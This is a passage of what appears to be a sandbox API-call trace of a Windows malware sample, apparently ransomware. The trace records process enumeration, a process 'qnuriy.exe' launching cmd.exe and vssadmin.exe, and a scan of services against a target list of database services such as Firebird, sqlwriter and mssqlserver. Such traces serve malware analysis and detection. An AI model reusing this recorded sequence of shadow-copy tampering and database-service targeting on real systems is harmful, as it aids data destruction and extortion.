(in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.142] lstrlenW (lpString="svchost.exe") returned 11 [0222.142] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.143] lstrlenW (lpString="svchost.exe") returned 11 [0222.143] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.144] lstrlenW (lpString="svchost.exe") returned 11 [0222.144] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.145] lstrlenW (lpString="svchost.exe") returned 11 [0222.145] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.146] lstrlenW (lpString="audiodg.exe") returned 11 [0222.146] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.146] lstrlenW (lpString="svchost.exe") returned 11 [0222.146] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.147] lstrlenW (lpString="svchost.exe") returned 11 [0222.147] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.148] lstrlenW (lpString="dwm.exe") returned 7 [0222.148] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.149] lstrlenW (lpString="explorer.exe") returned 12 [0222.149] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.213] lstrlenW (lpString="spoolsv.exe") returned 11 [0222.213] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.214] lstrlenW (lpString="taskhost.exe") returned 12 [0222.214] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.215] lstrlenW (lpString="svchost.exe") returned 11 [0222.215] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0222.216] lstrlenW (lpString="taskeng.exe") returned 11 [0222.216] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.216] lstrlenW (lpString="taskhost.exe") returned 12 [0222.217] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0222.217] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0222.217] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0222.218] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0222.218] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0222.219] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0222.219] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0222.220] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0222.220] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0222.221] lstrlenW (lpString="always_winds.exe") returned 16 [0222.221] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0222.222] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0222.222] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0222.223] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0222.223] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0222.224] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0222.224] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0222.225] lstrlenW (lpString="alienwed.exe") returned 12 [0222.225] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0222.225] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0222.226] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0222.226] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0222.226] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0222.227] lstrlenW (lpString="mp beginners.exe") returned 16 [0222.228] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0222.228] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0222.228] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0222.229] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0222.229] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0222.230] lstrlenW (lpString="harassment.exe") returned 14 [0222.230] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0222.231] lstrlenW (lpString="francis-communication.exe") returned 25 [0222.231] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0222.232] lstrlenW (lpString="gccinformational.exe") returned 20 [0222.232] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0222.233] lstrlenW (lpString="diploma.exe") returned 11 [0222.233] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0222.234] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0222.234] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.235] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.235] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.236] lstrlenW (lpString="svchost.exe") returned 11 [0222.236] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0222.236] lstrlenW (lpString="sppsvc.exe") returned 10 [0222.236] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.242] lstrlenW (lpString="svchost.exe") returned 11 [0222.242] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0222.243] lstrlenW (lpString="qnuriy.exe") returned 10 [0222.243] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.244] lstrlenW (lpString="cmd.exe") returned 7 [0222.244] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.245] lstrlenW (lpString="conhost.exe") returned 11 [0222.245] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0222.246] lstrlenW (lpString="vssadmin.exe") returned 12 [0222.246] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.247] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.247] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0222.248] lstrlenW (lpString="VSSVC.exe") returned 9 [0222.248] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.249] lstrlenW (lpString="svchost.exe") returned 11 [0222.249] Process32NextW (in: hSnapshot=0x224, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0222.250] CloseHandle (hObject=0x224) returned 1 [0222.250] Sleep (dwMilliseconds=0x1f4) [0222.763] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ed00c8 [0222.763] EnumServicesStatusExW (in: hSCManager=0x3ed00c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0222.763] GetLastError () returned 0xea [0222.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0222.763] EnumServicesStatusExW (in: hSCManager=0x3ed00c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0222.764] CloseServiceHandle (hSCObject=0x3ed00c8) returned 1 [0222.764] lstrlenW (lpString="Appinfo") returned 7 [0222.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0222.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0222.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0222.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0222.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0222.764] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.764] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.764] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0222.765] lstrlenW (lpString="AudioSrv") returned 8 [0222.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0222.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0222.765] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0222.765] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0222.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0222.765] lstrlenW (lpString="BFE") returned 3 [0222.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0222.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0222.765] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0222.765] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0222.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0222.765] lstrlenW (lpString="CryptSvc") returned 8 [0222.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0222.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0222.765] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0222.765] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0222.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0222.765] lstrlenW (lpString="CscService") returned 10 [0222.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0222.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0222.765] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0222.765] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0222.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0222.765] lstrlenW (lpString="DcomLaunch") returned 10 [0222.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0222.766] lstrlenW (lpString="Dhcp") returned 4 [0222.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0222.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0222.766] lstrlenW (lpString="Dnscache") returned 8 [0222.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0222.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0222.766] lstrlenW (lpString="DPS") returned 3 [0222.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0222.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0222.766] lstrlenW (lpString="eventlog") returned 8 [0222.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0222.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0222.766] lstrlenW (lpString="EventSystem") returned 11 [0222.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0222.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0222.766] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0222.766] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0222.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0222.766] lstrlenW (lpString="FontCache") returned 9 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0222.767] lstrlenW (lpString="gpsvc") returned 5 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0222.767] lstrlenW (lpString="iphlpsvc") returned 8 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0222.767] lstrlenW (lpString="LanmanServer") returned 12 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0222.767] lstrlenW (lpString="LanmanWorkstation") returned 17 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0222.767] lstrlenW (lpString="lmhosts") returned 7 [0222.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0222.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0222.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0222.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0222.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0222.767] lstrlenW (lpString="MMCSS") returned 5 [0222.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 